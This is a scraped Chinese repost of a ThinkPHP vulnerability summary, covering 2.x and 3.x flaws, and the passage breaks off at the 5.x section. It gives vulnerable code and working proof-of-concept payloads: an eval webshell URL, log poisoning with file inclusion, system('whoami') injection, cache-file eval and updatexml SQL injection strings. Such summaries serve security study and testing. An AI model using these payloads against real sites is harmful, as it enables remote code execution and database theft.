相关文章推荐
听话的皮蛋  ·  马头社fow作品资源合集 - 百度·  8 月前    · 
有情有义的芹菜  ·  一半是电影一半是舞台 ...·  10 月前    · 
单身的麦片  ·  女生不懂的男生生理期:换蛋期到底是怎么回事? ...·  1 年前    · 
俊秀的石榴  ·  优信2023财年净亏损1.37亿元:Q4财季 ...·  1 年前    · 
狂野的松树  ·  五菱晴空 - 知乎·  1 年前    · 
Code  ›  【漏洞总结】ThinkPHP篇 - 墨天轮
漏洞 runtime index函数
https://www.modb.pro/db/501435
不敢表白的豆浆
1 年前
  • 学习
    • 课程中心
      推荐优质内容、热门课程
    • 学习路径
      预设学习计划、达成学习目标
    • 知识图谱
      综合了解技术体系知识点
    • 课程库
      快速筛选、搜索相关课程
    • 视频学习
      专业视频分享技术知识
    • 电子文档
      快速搜索阅览技术文档
  • 文档
  • 工具
    • SQLRUN
      在线数据库即时SQL运行平台
    • 数据库在线实训平台
      实操环境、开箱即用、一键连接
    • Oracle巡检
      简单两步,查看报告分析
    • AWR分析
      上传AWR报告,查看分析结果
    • SQL格式化
      快速格式化绝大多数SQL语句
    • SQL审核
      审核编写规范,提升执行效率
    • PLSQL解密
      解密超4000字符的PL/SQL语句
    • OraC函数
      查询Oracle C 函数的详细描述
    • Bethune X
      数据库智能监控巡检平台,90天试用
  • 暂无图片
    • 数据库
    • 云计算
    • 数据产品
    • 中间件
    • 操作系统
    • 芯片
  • 我的订单
  • 登录后可立即获得以下权益
    免费培训课程
    收藏优质文章
    疑难问题解答
    下载专业文档
    签到免费抽奖
    提升成长等级
    立即登录
    登录 注册
      • 登录 注册
    • 首页
    • 资讯
    • 数说
    • 活动
    • 大会
    • 课程
    • 文档
    • 排行
    • 问答
    • 云市场
    • 我的订单
    暂无图片
    觉得内容不错?
    一键收藏 方便随时查看
    暂无图片
    暂无图片
    微信扫码
    复制链接
    新浪微博
    分享数说
    暂无图片
    采集到收藏夹
    分享到数说
    首页 / 【漏洞总结】ThinkPHP篇

    【漏洞总结】ThinkPHP篇

    源桑小酒馆 2022-09-09
    699

    thinkphp 2 系列

    2.x 任意代码执行

    影响版本


      ThinkPHP
      
      
      
      
          
       2.x


    漏洞简介

    ThinkPHP 2.x版本通过 preg_replace 的 e 模式匹配路由,从而导致用户的输入参数被插入到双引号中执行,造成任意代码执行漏洞。


      $res = preg_replace('@(\w+)'.$depr.'([^'.$depr.'\/]+)@e', '$var[\'\\1\']="\\2";', implode($depr,
      $paths));
      @e:可执行模式,此为PHP正则表达式解析中的专有参数,被例如preg_replace等函数所支持。


    POC


      http://192.168.9.234:8080/index.php?s=/index/index/name/${@phpinfo()}


    一句话 webshell:


      http://192.168.9.234:8080/index.php?s=a/b/c/${@print(eval($_POST['jkjk']))}


    注意:preg_replace这个函数 5.2~5.6 都还是可以执行的,但是到了php 版本7 以上,就已经都不支持 /e
    修饰符了。

    冷知识

    ThinkPHP 3.0 版本因为Lite模式下没有修复该漏洞,所以也存在这个漏洞

    thinkphp 3 系列

    3.x assign 变量覆盖RCE

    利用条件

    • 业务代码中的使用了assign 方法注册变量 • assign()
    函数的第一个参数可控
    • 存在可包含的恶意日志文件

    漏洞原理

    业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。 例如:


      $value = I("get.value");
      $this->assign($value);
      $this->display();


    POC

    (1)先写入恶意代码到日志中


      /index.php?m=Home&c=Index&a=index&test=--><?=phpinfo();?>


    注意:使用 BurpSuite 发包,避免被编码,从而导致无法包含解析

    (2)包含并执行日志内的代码


      /index.php?m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08_02.log


    3.x  show 函数命令执行

    利用条件

    有使用 show 函数来解析参数。

    漏洞原理

    show函数后面的函数调用中,show函数的内容(包括我们传递进去的内容)会变成一个缓存文件,而后面的fetch函数调用中会对该缓存文件进行文件包含,从而造成执行命令执行。


      <?php


      namespace Home\Controller;
      use Think\Controller;


      class IndexController extends Controller {


      public function index($n=''){
      $this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 14px 28px;"> <h2>Thinkphp3.2.3 show函数命令执行</h2><p>注入点:'.$n.'</p>','utf-8');
      }


      }


    POC


      https://localhost/index.php/home/index/index?n=<?php system("whoami");?>


    3.x 日志泄露

    漏洞成因

    thinkphp 3 在开启 debug 模式的情况下,会在 Runtime 目录下生成日志文件,日志文件名为日期,里面可能包含SQL语句等敏感信息。

    日志路径

    默认为:


      /Application/Runtime/Logs/Home/16_09_09.log


    少数情况下会为:


      /App/Runtime/Logs/22_03_29.log
      /Runtime/Logs/Home/16_09_09.log


    利用URL

    直接拼接就行,例如:


      https://wwww.gotizz.com/Application/Runtime/Logs/Home/16_09_09.log


    3.x 缓存漏洞

    利用条件

    • 使用了 S()
    参数作为缓存

    漏洞代码


      <?php
      namespace Home\Controller;
      use Think\Controller;
      class IndexController extends Controller {


      public function index(){
      $a=I('post.a3');
      S('data',$a);
      }
      }


    POC


      a3=%0A%24a%3deval(%24_POST%5b%27a3%27%5d)%3b%2f%2f


    然后访问:


      http
      
      
      
      
          
      ://127.0.0.1/thinkphp-3.2.3/Application/runtime/Temp/8d777f385d3dfec8815d20f7496026dc.php


      8d777f385d3dfec8815d20f7496026dc 是 S('data',$a) 中 data 的 MD5 值。


    3.2.3 find/select/delete 注入

    利用条件

    • 使用 I()
    函数传参
    • 报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

    漏洞代码


      public function index()
      {
      $id = I('id');
      $res = M("user")->find($id);
      //$res = M("user")->select($id);
      //$res = M("user")->delete($id);
      dump($res);
      }


    POC

    • find/select注入


      id[table]=user where 1 and updatexml(1,concat(0x7e,user(),0x7e),1)--
      id[alias]=where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
      id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--


    • delete注入


      id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
      id[where]=1%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--
      id[table]=user%20where%201%20and%20updatexml(1,concat(0x7e,user(),0x7e),1)--&id[where]=1


    3.2.3 exp 注入

    利用条件

    • 通过原生全局数组传参,而不是 I()
    函数
    • where参数传递的是我们可控制的数组 • 报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

    漏洞代码


      public function index()
      {
      $User = D('Users');
      $map = array('username' => $_GET['username']);
      $user = $User->where($map)->find();
      var_dump($user);
      }


    POC


      http://php.local/thinkphp3.2.3/index.php?username[0]=exp&username[1]==1 and updatexml(1,concat(0x7e,user(),0x7e),1)


    3.2.3 update 注入

    利用条件

    • 使用 I()
    函数来传参
    • 调用 save 函数进行数据更新 • 报错注入需要开启 debug 模式才能利用,布尔、延迟、联合注入不需要

    漏洞代码


      public function index()
      {
      $User = M("Users");
      $user['id'] = I('id');
      $data['password'] = I('password');
      $valu = $User->where($user)->save($data);
      var_dump($valu);
      }


    POC


      http://php.local/thinkphp3.2.3/index.php?id[0]=bind&id[1]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&password=1


    3.2.3 order 注入

    利用条件

    • order()方法参数可控 • 开启 debug 模式

    漏洞代码


      $name = I("name");
      $order = I("order");
      $res = M("user")->where(["name" => $name])->order($order)->find();
      dump($res);


    POC


      ?order[updatexml(1,concat(0x3a,user()),1)]


    thinkphp 5 系列

    debug 默认状态

    从 5.0.10 开始,debug 默认为 false。但是 5.0.13 之前都存在无需开启 debug 的 RCE,5.0.13 开始,需要开启 debug 或者存在 captcha 路由才能成功 RCE。(只有安装了官方的 think-captcha 扩展,才会存在

     
    推荐文章
    听话的皮蛋  ·  马头社fow作品资源合集 - 百度
    8 月前
    有情有义的芹菜  ·  一半是电影一半是舞台 上话悬疑剧《深渊》9月17日首演
    10 月前
    单身的麦片  ·  女生不懂的男生生理期:换蛋期到底是怎么回事? [#狗头保命] - 知乎
    1 年前
    俊秀的石榴  ·  优信2023财年净亏损1.37亿元:Q4财季营收同比降32% CEO致信! 来源:金融虎网 作者:凯文 今日, 优信 (Nasdaq: UXIN)公布截至2023年3月31日的第四季度和财年未经审... - 雪球
    1 年前
    狂野的松树  ·  五菱晴空 - 知乎
    1 年前
    今天看啥   ·   Py中国   ·   codingpro   ·   小百科   ·   link之家   ·   卧龙AI搜索
    删除内容请联系邮箱 2879853325@qq.com
    Code - 代码工具平台
    © 2024 ~ 沪ICP备11025650号